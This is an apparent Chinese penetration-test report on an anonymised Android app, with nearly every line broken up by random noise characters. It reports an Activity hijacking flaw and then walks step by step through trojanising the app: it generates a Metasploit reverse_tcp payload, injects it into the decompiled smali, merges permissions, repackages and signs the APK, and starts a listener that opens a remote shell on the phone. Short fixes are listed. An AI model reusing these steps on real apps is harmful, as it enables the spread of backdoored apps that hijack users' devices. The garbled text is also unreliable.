; m' t+ b/ K+ @# ^$ y2 K0 M6 O" I/ w# f
表1-2 测试结果 " A+ U) X: S* g4 {3 ^
5 y0 [- f! c. b' I
+ }8 J' c Y# v$ ?, m
& h; u( B9 _) n" Q; G2 q& n+ l3 t" |
) M1 ~) j; O1 U4 v& Z; a
3 P6 g9 ~& K2 ?0 ~ 1 Z- C9 b! [' |. }' G
6 P0 Z5 N* s, `( a1 y
: n; s1 g, q: K4 c
' A# W" t" N( C
/ g8 q- q! K6 V) M
- R- a; S/ N6 w9 u/ }) y+ ^, ` 2 检测结果 1 }% K+ C1 m. W; D
5 [6 V( q6 L4 _$ ?" Z
) [8 N5 K8 N1 ]# m
- i4 o) `3 W& k" `
6 ?$ e; D' r$ @7 r
0 H7 {/ z: ^% i" p' E" ?6 z 2.1 某某某 * f6 l/ P- ?, \1 m/ F
; h9 u0 o! ?" D. J# {: U8 N
- A; H0 O# l' |0 E0 j2 [' j" L6 s% d5 Y* p( B
! w" B) n+ `# f0 R. B
2 l; Z) P2 C8 X 2.1.1检测目标 5 p4 L# F h) O- i7 k$ K+ m" J( @% J
) s! w$ k6 \% w0 j) ^6 }& E, ~; u
$ h9 j0 G, n; ~9 J0 R! s
/ ?3 y; M2 \! M- N- Z
+ f& f$ T+ L5 [) ]% S2 P Z% h
$ F# ~# r) ?, F0 Y) |/ R+ u$ j
目标地址: 某某某某某某APP % D6 h8 g9 c: k/ Y3 O1 v
- r6 g \8 o/ Q. t
+ T3 D0 w1 Q' p" V, b
6 Y N! r" t* p
4 Z( ` I+ @0 `$ ~7 q& W1 b- V0 H. W4 Z& w0 p$ f6 E" U
2.1.2检测结果
0 y/ R$ u A9 U% _; x# R; C
( g2 R$ t3 W9 k4 {: f9 \
) ^8 d8 ^, [. C8 k
) m1 c6 J# d! y5 H& _, c# F & U/ d" ^ X; L+ u( o
% {% `! x+ j$ a% ~
2.1.2.1 " m8 n* |! B) {5 \, j
* ?, O# x" a* K& T
# E- X: z$ ~$ G/ o5 ] \
+ s" o( P4 [1 K" W4 b1 m! K1 r % r' i' G; I) n4 a$ F. y$ M f
) C4 [3 e" @# m
漏洞链接地址:某某某某某某APP : l$ q2 _% C( a( i& I; K+ m- n2 R
! E1 e6 z; }" S1 T3 a" s
( L! \* \ z: {3 F& d0 R
4 I% _# ?& ]$ b, P
6 b) Y: A/ m \* i8 b4 v; d3 z8 b0 }4 C3 O
$ g) {: Y9 w# l" \1 f: a6 z
7 b" d1 B8 W9 B9 s) h' f% x% U' K
) O6 K C7 E/ D( |8 V4 z
2 e2 I/ x3 J% i& D; U' O" i9 V- ]' {
. L: S& O, I3 G0 c+ x4 U3 p8 a7 r" D) i% Y) K
漏洞分析及取证: , c. b/ R/ n7 n# V
- A, o, i0 p: F" m, q
5 s% I! B7 J+ t- f6 u3 U7 m
6 D9 A0 Y- s4 \2 q
7 u2 h; l j9 o
7 C# q& K6 F. S6 d) o4 y# x- y& b 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
2 W' G2 h/ }2 b6 G
9 w7 D: q. w- y6 z* I3 k+ x
+ a, A( q( Q" _1 P- f o4 u
* r/ y$ y* C# D1 P2 a5 s5 E 6 \' p8 H) V' C+ L: F2 V5 {) o
& m/ N# s$ a% S, }2 @
. U: U/ S1 F) j" @
- s+ j$ c3 i+ _, ]
8 A# N1 X6 b1 g% N) D" V
1 _! P5 Z. `: ]- n% `* J
& e! R: M5 I$ ~# B G3 X; D: y& @2 K; K4 Q2 P
' Q$ k3 l8 u$ ]5 f* ^" o6 j+ M
: @. e: \* I x+ h. a
" J3 E2 u# P1 T1 E- \
/ D( g3 W, E7 ?# m: J
& C* M4 u6 I' p7 J7 a: c- t1 O
: y, \/ t* H' {3 [& k9 e# C$ D# U% _
* ?) S3 E5 v* Q! T8 g
1 z- N7 ?2 }; ~9 G) x. f+ O) [0 \
( R" T1 k3 {2 K8 p$ b: t( r3 g1 W
- n9 e- E. p7 k
- z7 F7 O8 L* q( c- j& B# y
0 _5 ]: Q1 Z8 E
. S7 T' S7 x: M) w, j# _ h
6 ]' `/ Y, s7 ? }: o( `. r8 s4 u
( e, v' T# w! j0 a' F$ g. N/ z! [) S% [3 E, P* ~
2 H3 E1 B" D' Q7 z, {+ V* Z2 }0 G1 n
# Z( ^1 w$ c* t& E
( ^9 A: y% J' j- `8 n J
9 o( K8 U( q0 f# h3 C
; ~1 m, U6 w$ g/ Y# [2 j, D # n& s; l ^6 P V! [3 y
$ p6 _: p O( J5 |" \2 w f7 ]! y 漏洞危害:高 - j q: W2 C7 Z7 E Y2 O# c+ S; L
1 l. K% k8 A" F$ x {% L
' j5 j, s2 y' ^
+ [+ n$ b. ?" C% _8 Q
) O$ k+ q; i$ I& `0 s7 x
- m$ c" v i* Q " ^# f+ g4 W$ R$ x3 X# n
0 n# k& Q- m2 c [
4 q9 Z4 r2 Z% C/ ]- l- s. O3 ^; H+ v. F1 R/ w {6 ~/ O/ [9 ]
0 f& e. i9 u+ M. P% E8 w$ O+ y6 |$ r# ?
|
% _6 E6 H2 c/ t0 _2 }# ]
: e3 h& e: X5 r) |
3 Y/ P" O; A6 T. d0 l/ |6 [3 s9 {! P
. \# d) |3 _0 _ V 严重程度 1 I, G; @4 x( _4 z2 T/ l4 l
. u0 I# d4 T" j& S& V5 }
; h; W1 `' Q" [: m* i" n q
, Q5 \) j* H5 W ]8 V | 8 v0 S$ o6 P* w$ ~: S0 `
* {' n. e0 a- T3 l: I! q
- H0 _+ s. ?! D/ d
7 F ]( g$ v' D+ r& [/ u, _ M; j! I/ O, r
& T& [* ^. \& H7 O8 M+ r$ u( D
$ ^" V- ~, U7 ]7 k1 I
高
: k8 Q% d/ n9 L- u( Y6 g- |/ j; d& O# o; v4 X
5 |8 v6 L% {+ t8 i6 |; m9 x4 Z6 a& C& b! I* ~
|
% h: n8 {; I6 j/ `$ A
- Y, X# `3 x! Q$ W! @' c5 N& V& U
1 @4 ]9 M7 q2 M* g0 G p! j- q* Z) r& Q. I+ S) X
9 ^7 ~0 n' A# F0 F" F* ^
2 ]( X% w; R, k( K. `8 Z1 @
■ # l9 Z# D7 B& U9 |- x g9 y
$ Q; H) r3 G9 E4 T! j \: G: M 5 ^; @) k- p/ x1 H
! I- O% T* x1 k% c) |/ A9 z& e |
! ^ Z6 y/ \6 Q5 h" }: W. f. B% I$ d4 j" w2 l2 t; R
# [2 n( k9 W: l. I# Z' n, B0 {0 B
+ g8 j% ^; e& K! r' r5 ] V
9 p1 Q5 z7 s; S; a& U
5 s, e v5 z" |0 M 中 7 I) f( Q, K6 k
2 A, Q1 k; n/ t - G5 v9 W( l, j" P
_4 g2 ]5 {8 h; p9 {+ {
|
; h& H" j* G9 v+ v; ]# i. q' L% K. g7 L# N6 C
! M1 p: E2 [$ z1 u6 S& Q
# Y- t+ K" e" w8 V0 ]3 w! W- V* K
9 O) V r( p( x. [" s3 f( j1 Y& y
% I* L* [8 D7 n4 b y - d* _/ M' }/ n x: M; x
1 Y9 [7 _; Q) g$ e0 T4 Z' g
! k) f7 q5 A4 I+ `5 J* v0 O
* l0 h- _; g( m/ o% t/ ]% G
|
+ i: [3 i: Z; V8 f9 T" C. p
- x# x7 O& h" Q: U; A& c6 J
) g X' ]% M$ V5 [+ w) {! ^( \3 W& P! b' q+ C3 b3 o8 K: E$ f
# s7 `: V+ D, z, ]9 p. ^
+ t, _- b/ O% w9 d- Y
低
! N7 q% I2 k; T6 P8 @6 k: {4 N" M5 F+ c& L [% K( ?* x; ]
7 V) h* {$ y6 w$ E! g- ]/ k, S, H0 O7 L
| ' b2 ]0 |; a# f5 L9 G: I" g) T
+ Y$ o8 O! B8 E+ `) u
3 F3 [8 m# r3 n' |2 H
$ n+ Y( C% E- \! n
* s; L# B; H: S
, d# I. A+ h% Y. I
) N% z& _5 c9 l! _+ H# {5 p
5 w8 n! D! e: Y' t7 T& ] 8 B8 U; J% {" ?
1 {8 ~+ K" |; \$ [! Z; f |
0 q+ h; [6 @8 o6 V% @; _4 ?) D2 m# f4 P( [/ d
6 J1 ?) I9 U/ |- J1 `6 q& E! c+ t
& d2 v3 }4 v! j; }7 y
& H* `! a/ C# {9 N$ H/ e0 ?/ b8 B. t1 B y7 F# e8 c
% j7 v' G, g0 i# }, `
* k: t0 `1 O1 Y9 S* d
- @" N3 ~% V1 d+ W9 m
) z8 T; {' I" A$ c0 m0 d 0 D4 V- e* c# O+ K/ d
: |! |, I, y/ O: E; C
( a/ a- C- p; a( ^( O
1 O( V1 K) P( v6 A
7 X0 Z7 a5 C: O+ Y: e7 |
0 s; c, R. c2 P ( G4 `( ]$ a" ~8 f' `+ P3 Z" _
5 u1 {% W8 S, g3 N' S 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 " }- @, g- H% f7 L G5 Q& ^5 ]; r+ G
: V5 B* a4 H: W2 V7 p( f- q
7 f0 b' {) z' e
3 a- p$ V% F, B ( d8 B, O- D1 P& E! x
! e1 T+ q+ e0 \# G3 P
8 }1 g* L+ _. U$ N4 w# ~
6 |1 q3 T9 c' N1 u; ]
+ @& \$ v6 |6 J0 C; Q: y |6 x- v8 t" R( W* J3 N* b7 e6 I7 B3 J
, [7 [ p! @4 P
, u# C" e. U. p& ~
( d& n7 b% {3 j# u/ A0 b9 g! i$ o
, ~5 O o% M) E6 v
% X& w& r. c1 z3 S5 n9 |, _5 |! u# S/ U. m: s) N5 _$ I% }; E
+ L( B' h: o2 L" q8 m* V( V3 o2 Q. H; B& ^0 o: G
2.1.2.2 O# z; h9 _# g
6 @) p9 ^2 h9 J% u
|' E$ H* R/ l- y# u
3 f; V3 \4 R& C! `+ ]& G6 y% _6 a V
# k* I- u; A4 H! o
) A7 M' @3 R0 y! b9 R8 D 漏洞链接地址:某某某某某某APP ( ~3 ^/ m Z- N% V# L9 y/ t: _
# o, e( A8 e" [2 l4 B( P
8 ^% d. [5 P, g: H5 ?( S" d T$ f0 V5 I( n. X4 \
; @) Q$ J8 f( J2 T- x2 U, j
7 `: O/ O7 E. M 漏洞分析及取证: , U/ L. H' Z! n2 F
) c) }1 c. ]7 |9 D
0 @6 z' x( D0 x0 P( ]4 }; f2 d0 D: V
5 e" ?* `- v3 z3 h" F& s2 A
& b* @; M( {( _' O3 {6 a 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 7 m0 V( | g; Q6 B' u0 z- C
" ?) S2 R; o8 ^& N3 F+ {
$ U2 Y/ I/ A, v& a* e
" d& S4 d& c2 W. G7 M* E9 J
6 I7 m: H ~, k2 y) a# B4 U* t8 w4 p! J! D# S8 d
用Metasploit 生成木马 apk / g" Q$ X' s4 U( l3 Y0 ^
5 ^: g9 ?* K( t/ b) N6 a
/ r- g* f9 d; ^) |* j5 F1 u) O7 Y1 f2 m' D4 Q5 j* i: ^+ a0 [
t) d* e5 i R3 @
: [' ?& t. K3 H! q/ f# y1 U& y msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
$ r2 M5 R! z4 K5 K5 K% w7 y0 \: b* y2 M
3 X) \/ K a# v6 `3 _+ ?& H0 c/ v
7 n" U1 K7 R" c) N7 n: F( ?
( ?' {2 {+ f" f, K& l4 G; u
S+ S0 m1 g: ?7 h+ n! T) t 反编译目标apk和木马apk , ?& S1 T" V H" |7 a
5 k q B, L3 t0 e+ B
- Q. t& D6 {# Z6 @2 K' C+ R' H6 J8 K& B3 D5 g3 v: ?
4 u. m0 @1 _" b0 d$ c p$ K4 `; }( l G
3 ~$ H) K' j+ ^4 i
apktool d target.apk
% U8 s6 z7 @6 ?: s' v5 V
( K9 W) G* x; s. z3 P% K apktool d cockhorse.apk ' R1 O: q% O7 l6 x9 i/ p
: T, j5 s R( U' ~
: n9 z- Y3 N6 b- z8 x- J% G
( K' M' h% ^. ~& T- U3 i( h9 Y
& E7 o$ E9 u- Y$ W4 m
" k/ O3 C0 ?: W0 c' `
木马 apk 注入目标 apk
$ n9 O2 k& _7 N- z" x0 F V8 h3 h7 p+ r. g. R
' u0 e0 u9 s7 @# X5 `, A# O
; y- ^! a8 U8 v6 x. s* d 8 j, f: }# L' i# G h
& p9 ^5 ^$ k% u+ t 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
# u; Z& q! H* l9 I' q$ P6 s
3 R# d& N" e/ R% g$ ^/ S invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
0 v1 w5 S* E. Z3 [5 F1 `# O P6 j4 E$ t" J6 G+ s
: Z% E0 i2 [3 K5 m. m
5 d* D' v' R% U" r ' P0 T% |* L0 a3 y3 \) o/ {5 Q
; H8 N- F5 Z5 F3 b5 [) G1 f& b4 ] 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
5 \. l& k3 u3 I9 a$ D6 a$ C+ n9 X( H3 b! A2 [8 N/ P
& B3 Y' c- Y# j
4 `* k3 h) I& A% x
0 l7 X# T9 }3 B8 n* B( X3 ^$ W/ w' o; L: A
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 + Y3 W6 b w3 A9 |! S; j C
, d1 X3 {; g" T7 Z
: Y Z# C3 U- }/ y8 e
1 `/ ?- c; e4 E$ z6 a9 ? 4 b, U- J1 Z4 i; a W
! d" U8 f+ e m' u
回编译生成最终 apk
( J+ d7 F7 y9 w5 N0 k
% P0 B4 F g# R& W! `5 S
; c8 J0 m, X9 C8 C9 j2 k6 {3 ` \
; [3 C- Q" w9 q' [
: t' J4 N5 M3 j9 y; N: t5 W: A5 Z* T p7 d1 X0 d; M+ W- k8 ]0 w
重新打包
; ~( V0 H+ V! S+ x1 }% z8 J3 v
4 }' H2 X5 q/ o ^ {
! q) [# k" e+ @. i; G / k( @( a3 E2 M% o3 G( a! x1 d3 T
. r) g) _3 w5 h4 R! w3 D) i
apktool b -o repackage.apk target_app_floder
, Z, Z! j% P4 u! c
% t$ R& C$ x$ Z4 [0 V
: T& B+ w+ @( ~
0 W4 o- c- P) l& {
0 E+ [, {$ |% _4 c" U) d7 v
0 q9 `, [6 X0 @1 u 创建签名文件,有的话可忽略此步骤
! O) @, t6 }9 o4 h8 k9 Z5 S' f6 I" X
- [0 k# c- ?5 d' D# V" V4 e
: [( A* H- d y, q1 b5 p: o
# i1 M. _. R) I
3 t* t+ m% b5 L1 w6 r keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 & X# I; s \2 W% L* l0 W
! A: L, c* Q# k! {, i' ^
+ O, t! n6 f4 J1 n. H$ H4 Z$ C
. y! v* k- ]. U0 }# [
% p. `- d) O2 x M! Q' c+ t# \$ G! u
" z! s* \. p. s2 B' l+ d 签名,以下任选其一 " R5 V& o. \1 A& s* c s
% O3 `+ b9 \" p% R- I
" Z6 p/ \5 N) P0 O
Y" V2 ~' K7 S
% m* P5 ]- R& w8 t! d) e1 g2 d% f+ q0 t7 Y$ w. x+ V- |
jarsigner 方式 3 ^- m- k6 o( u( O0 o% w4 q# ?
8 Q9 a0 E8 T: i9 L6 A7 W
, ?# | [# L1 m( r
0 r/ g3 }; ^5 R- Y, f$ c
" b/ G3 c1 l; R% K. W+ v; M6 T
/ V7 U( S5 _4 {( u0 \ jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname / k5 k2 h7 [' C1 L* `. B7 X
) z) z) A+ i# y; b7 k
' Z7 A# b3 c( K. ~
# a$ h2 t8 E9 T( A" I7 _2 O' M # k! M) r3 t; q* L
& s; D; Y& G$ ?& C( H! x- R
apksigner 方式
5 k! r0 o5 l" X L" D
' }' t6 k& R |, ]5 e/ m- l; K
2 W* @) z1 i* x% D- `
# [8 P2 s& P2 F) H S
# x" a& r! X1 S' U+ K8 a
. a8 `3 ]" t/ G& a4 e: O apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
) P2 Y- `4 ~, {7 g& x9 k+ `& e5 P2 M1 C, B/ a
0 B' {0 z0 \/ }# k* l0 z2 f
2 [* d0 q+ v, V! p8 p
0 y( U) ^1 F: O7 U$ R' _
8 M) x4 m7 K, F8 ]' ?4 c8 [ 如需要禁用 v2签名 添加选项--v2-signing-enabled false
2 B+ n, i; C. i
7 {; _( T9 d- I$ u0 v/ {# c ~) M
/ n( _6 q8 x9 w- [% V
7 M! k3 q& }2 y4 A: G / C2 a/ p8 ?) T+ C7 }& r! ^
H/ p9 r% s, P+ B
验证,以下任选其一
]' W6 ], {; C8 E+ n X* s2 E) v% X" ?4 K4 A4 c; O4 x
: H' G5 z" t: l/ S3 D+ s
. C. u# Z, d3 n' D1 q$ C$ \& W% Q
. k; Y8 c+ C$ L5 G5 I
/ d$ f; @1 C( |$ x jarsigner方式
1 h# t) P! Z7 c9 y1 E( [5 k0 Z5 f5 W
! N2 f+ N) f0 u/ I0 G
/ l0 T `" u) x* Z R8 m; l6 m E( N. V. J! D( Q, p9 V) N0 j! K& T
( j Y. @- A% Q+ P jarsigner -verify repackaged.apk
& s* B2 G6 X8 f t7 K; D1 }( Y/ E9 z* g7 x6 c0 r
: D% y: U- p$ v7 \$ d6 \2 q; x- H6 Q! j2 o; p/ k8 F
0 A+ A( z# {& g7 N9 i/ ?. O( u
/ c6 u) s' h: Z/ N& L: C apksigner 方式 " W& `3 |/ X7 E! _
6 |4 b/ ]& v/ N6 f8 U. V, S% ]* ?
7 T* t/ L; U! E8 X: ^
. n A* Q. _ E' F
- q& t2 U9 s, u/ P! ^
0 ]- x. @' v3 ~8 Y apksigner verify -v --print-certs repackaged.apk
" ~. v8 w- T2 z( x
/ v% `8 n3 `: `" {" R' O l8 g4 v/ ?; b
3 z6 ~- S' D6 O) j$ A
, G& X( Y" z4 ]3 v- ]$ Q
; ]( T2 u# c3 i" W
. D& J* j: R4 Y' X) E* M keytool方式
1 N5 D1 y- |, F) D5 Z; J8 @5 f3 h
# g8 \9 Q1 a: z; c6 ]
1 R. F3 A* V7 D' H: `& E$ u* n+ K7 {! ?, _ s1 L5 b
* O( e0 m, P( o3 y3 V7 \4 S$ ]7 q
7 a Y! K9 V7 q8 j) n keytool -printcert -jarfile repackaged.apk
O. i; E! f6 }: c8 N5 R3 x$ ~- H$ j# z, v$ _0 B9 V
& d- t7 ~) V. t- a! N/ x
6 X# H6 e4 g# p7 n
# q) a4 v! C3 U" O+ s; ^( {$ j' J& L0 D
对齐
; v/ W: K; O3 J9 v* l# N( H
$ L9 q# a& U3 K( R) s
5 g0 G% i! U* x8 b, {! [& ]; ?! O$ j C- L' s. k0 i9 W% H
# j; u7 ~6 V9 W: D5 @
; I/ S2 B& \: r; v4 B
字节对齐优化
5 h6 ^0 R" c: S% X6 N6 T. g6 T+ p+ q$ V7 L) P% L
: D, H% }! M" P. C' `, J- [, A1 Z) T Y' m- T
$ j* c2 c# n( V _: j1 {* _* {
: d: B3 u+ p/ Q/ k6 z2 k8 @ zipalign -v 4 repackaged.apk final.apk
' f" [; x/ K/ N. P# D
. Z, W5 e& m. n! U( r) }
; ?0 K+ g. g' ]% n1 x3 m8 n. _9 F% }; w+ d: p/ d a
4 Y+ G! N! k, [4 y) p9 V& S. W, Q! t8 y+ S+ l
检查是否对齐 ' c& B" q! i$ |$ n" h/ c# E, A
# D8 B8 B8 \+ o
6 s4 s4 y1 |& i& ^$ T; A3 ?, D6 c2 i) x- V5 e- X6 |7 i U
% W7 Z. M7 u* T! s
, J( r9 Z( i n, N8 b1 A zipalign -c -v 4 final.apk - @9 t' R0 ^7 C$ t, ~+ @
0 y$ S+ y! L9 W
# R3 {& o( {; a+ j/ u$ K
# m! A/ {7 G$ W" R$ }* g) O! N J0 q
" p. R$ @- E( t2 [- _+ n( \' v6 A, D7 V+ Q
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 3 R2 L2 h, ?3 |* m8 V& }
5 e/ `9 o) b9 N. e0 [
0 d2 T$ c1 N8 F6 U- G
% @' ?& [# \# k+ K& a
4 S$ B7 J2 C" r0 k* p! V6 Q2 N9 J" V) [- p' V- w k9 C4 Q
启动Metasploit控制台,配置参数等待上线 0 r+ F }* @/ A1 M5 @2 p
- O8 L) B p" E
8 f% p; h9 f" |+ J5 F2 U
, C, A- c6 n0 L3 G, \0 i5 U4 w D# F & @; k' r9 r, H# q6 ~
1 z! u# K2 G7 x9 p) Q6 h2 E- t 在终端依次输入如下命令
1 S# E' J" n$ A& P- V) d- O3 ~% x; Y( E* m2 L- I+ z
7 E6 a) D/ C) W- A4 m
6 E! E8 [& a) |( q/ V7 | 1 `6 \$ F) I2 S
v6 E5 s5 ?" e# r/ D
msfconsole
& w8 Y( E/ z+ R9 N1 j# O; H8 U" T2 |
2 w j# k2 C. u$ G: M
8 X/ a& w' P- M
+ K9 l- F0 Z2 i3 d) R. q# }7 \1 P0 G* t
use exploit/multi/handler
( [- j0 W8 t; \$ z( H) e
7 \" C' A1 X2 L- @5 `- j
* u2 {/ Y" c! j" p4 O8 d; T! K6 T! k, A0 w) @
8 l' u1 C C. K6 |8 V$ }
) A; e9 L5 C+ X. s- c set PAYLOAD android/meterpreter/reverse_tcp " h p' Z: e; ?$ A C) a, F
- q. n+ t" X9 c6 @" r# Y: ]
) S; _0 @9 f& G, r2 E0 X- N/ Y4 N* i( \3 G) R
% Y5 s. I. j) l. e& I& `5 d
7 |6 t2 F E2 [' p& ]: u# ]6 Z9 @ set LHOST 192.xxx.xx.xx
! L) A Z/ o- E# ^8 w* x8 u2 a9 \2 a0 C# x( f9 p7 x4 L* L
/ G2 P1 h- M+ v$ T0 c r& [
' P' m, Z p) G3 J1 d2 B
# g9 l# n9 k4 j
7 O o! ]. j0 ^5 H. l7 H2 z. h) R1 M7 l set LPORT 4444 + A, W/ h. P! V+ k, u
7 s2 J/ @. O0 V" a& D6 l" X7 l
' Q Y0 A4 V: ~
3 a% f0 ?) t& a$ W% G( D9 K$ k 3 b& j* V% [1 {- ]
E. w4 m% h5 _' {* v exploit
( I% p' `# D/ z8 h& M. o
! X: ]& j3 M' u9 b
m0 Y- @$ K, t7 B1 h
f4 U+ Z9 j6 a. ~$ s& l; M
9 M |; Q- k2 U6 b* e. O' d2 G* h0 n6 b- M% z5 R" s7 ]% g/ T$ {
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
0 t% z& w3 x- @3 C6 C/ H3 s
+ ?" d1 V( Z& Y7 }
- l) f- ?$ m; M
9 D5 O/ m0 Q( d( G3 v6 q
' z3 Q* W: l$ J$ \6 v9 r; s% _- [9 U% W- `
漏洞危害:中
6 q( P4 c* S8 |7 `: ]( S% r6 O8 J2 s& j3 x D
9 e o' F; g. k Z% A/ X7 c4 q2 T
' w: a/ i7 [8 N+ \! ]( Q d! Q! r3 s% b
* s* {# y0 h3 f, e v: J. C% N: l m0 O4 E' C2 }
0 q% S2 I- L" ^/ {; q0 h 1 a R+ ^' O" u0 E* u- a* K' Z
. B; G, }" ^7 B B5 h 5 g. M. V$ b$ D: J0 ?) i
. f* J" d; V0 a' ?4 y
* [4 q: W2 Y# y# x) T7 E
* ?/ `5 r D' r& B- X$ | |
$ ?8 s8 U# m* d1 {* y0 p2 V# w) {7 r; T/ s( c, U
, V1 K, ^1 Y( o5 C: J! s
7 u( o u, v) U3 q! l" Q 严重程度 * E D( `: w6 w. c+ q
- }) b* _: c) U. u8 K
% @% J( W( }* l9 H( L2 U, Z: u( R# @; a/ `' o* L% h
|
0 z% R b, P. L* ]
' j2 O, l) u- j3 n: g) N 9 E& Z' I* T1 j: j
: Z' I6 n, l+ n- I
( X( B; L) F+ A$ u( C% k; K
# F+ i5 ~6 ]7 V8 o M' a1 g 高 / r5 A: A, \/ k8 Y
- S( m, A2 q& C' \7 C
* u9 W2 G: Z4 s2 L: I) T8 K+ [0 i. g- E$ w! I! }
|
7 Y' m& n3 [* K, ?+ W+ }+ u6 B: J8 P
( b3 `, I4 A4 c$ w$ l1 [3 ]' G& o 5 e7 h @. w% H' T1 Y" `' j1 M
) u# V# H" y) E6 g1 F 3 k+ C+ \. ^* b0 P
$ m$ V6 {8 y& W8 C- e5 R ■ 8 Y2 a, N E' r6 K7 w% W; C
$ r& Z4 O! a) d- c- e
' N4 q! w% }& c T0 E* c/ i
# R% n8 a+ B+ B' ^0 k | ( x L- h* d9 b+ L9 D+ i
% j! K9 Z# k! Y/ g" N, R, V7 }' m 4 N w0 L. g5 ~2 J T
- w- J P' X2 C ' O0 \& e. q+ i3 V9 D' T: t; O
/ A, }+ M! Y v0 Z
中 8 d& @* e- v/ I5 `' [
2 x* Q! b- j( @4 i: z
& U/ d' l' o% I: S2 R
( O/ a& j9 Y- z; K9 c |
" Y( [; v+ `% W$ v/ ^4 A
4 d( f+ f9 p& k: v- D# i 0 x' q' j8 n# w. \# Z6 |$ ^1 O2 R
$ G8 \& [1 G! T; d, s+ N* V
' A9 u! `. @$ a+ N" D0 \- K. p" v# k3 r
# Y* j8 S( Y. m( f
3 ~3 W2 y1 e: Z r2 v0 s ( j4 S- ~5 L6 o9 ^+ S& y! h
* ?6 m" |( w2 Y
, ?$ I1 M# l) c( k" \
& `+ c+ ?$ w! u9 m+ J3 C$ k
|
; {% B9 ~ h6 e3 I/ B! s+ W) M) w, ]5 D7 u( O
; ]8 x1 W9 e. q7 N& k9 G" A
S" s3 B" M- f7 L) R3 ^9 D " M+ a x9 k4 K1 s6 t
3 o" P* ^1 L9 ]) g8 n5 R5 q/ v
低
& h# K" T: f: W {, _8 e9 d* C4 Z) f0 Z& l' t# e: g
- e. I7 L1 H- ^: B! U1 S: K& `) P' j2 {
| / M2 v, @, p& y+ d9 O
8 J* f% O5 ~$ N e) C8 L
; E' q4 c. p! m% _" N5 X
2 y- o. A' E9 J2 X! v/ }, t
( b& D1 B( [& O5 g6 v$ K) J. S% j6 y) v
3 t9 w9 W9 w- V5 X' |1 B7 a/ ~2 O$ j8 l
+ U' L2 o- ]% t2 [% w: N
! O9 d% F9 d9 L4 t6 L Y
, F& Z2 |$ u1 S$ l. N! j6 `; G
4 a3 X; z' h7 N% Z9 u; B
, w4 \1 R& l: |* b
| I; O6 `. P2 A p7 R
( S7 r& Q: A! G$ K" r
* |4 s6 B; J7 x4 A+ Z4 A, t4 p
! t' {% |0 b" o# A: k4 U
$ _8 {* o. x% t+ _2 `2 k9 M% @
3 w+ j+ Z1 _# G+ ^1 b6 P
, u4 K) g! C# e% c3 [9 c( L* z
& z4 `' c, e, y! U% r- _ # M9 N4 ]6 U0 o+ T; e
& @1 |/ u" S" l5 k; g
/ c9 K7 W! s: @# p( q9 F/ t
) Z) B" j% R6 |6 _* b! N; N
* K" F- \: f- ]) z
. `' Q3 ?5 j7 S* C" \
/ ^+ a6 i4 p! m7 o/ j- [* ~% y0 \
. v8 [$ F9 a0 l. S, b 4 }# A9 J$ s8 x* l
5 ?9 ]5 M. \5 y- [) x
修复方法: 7 c* q6 H2 f L$ e( \* f
1 m) g# w0 {: J( A7 D3 k: R
9 M6 Q/ ^( ?% F* o' A$ }) n B6 n+ S' K/ u W- y6 Y9 w o
' y" w8 z. N3 s4 a) Z- k) B
) A9 B* x* ~4 t8 {" v: j 1.在 APP 启动时应做签名校验防止二次打包。
' y3 D5 I/ \. d( {, B! A0 S; ?9 G3 q2 Y+ o
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
) \% m1 S2 a) [: n$ Q4 J
) [: _. b+ [/ ^
5 i v- M! o& m0 Y5 u( E3 p; {1 C) c0 R4 ^8 g/ E
. c" b2 V) N8 X1 s% a
/ ?$ o5 N6 `5 e# S& | 7 }" E& Y; A' h
/ \6 H+ |: B0 y
* i; h0 x+ S4 f
' u I2 w" q! ?7 p6 I. {1 ^
- D2 ]. }2 r1 Q* K; D1 _
; m5 b! b8 I3 m3 q 5 p( L0 g- b$ F! O6 Y( [* S
6 Q" t6 U8 o& I/ [4 ~
* O. X' \/ t3 z, @, s7 o
( o& E$ Q; V3 U& |# ^
7 Z( @( F2 v( k1 v9 J0 U2 Q7 |
" |. Z* |6 u% e5 k6 E, y" t P
% t2 C2 D- B; k: S4 a; b
& E0 R1 v$ ]2 U/ r' p& W2 @1 z" S1 ]# A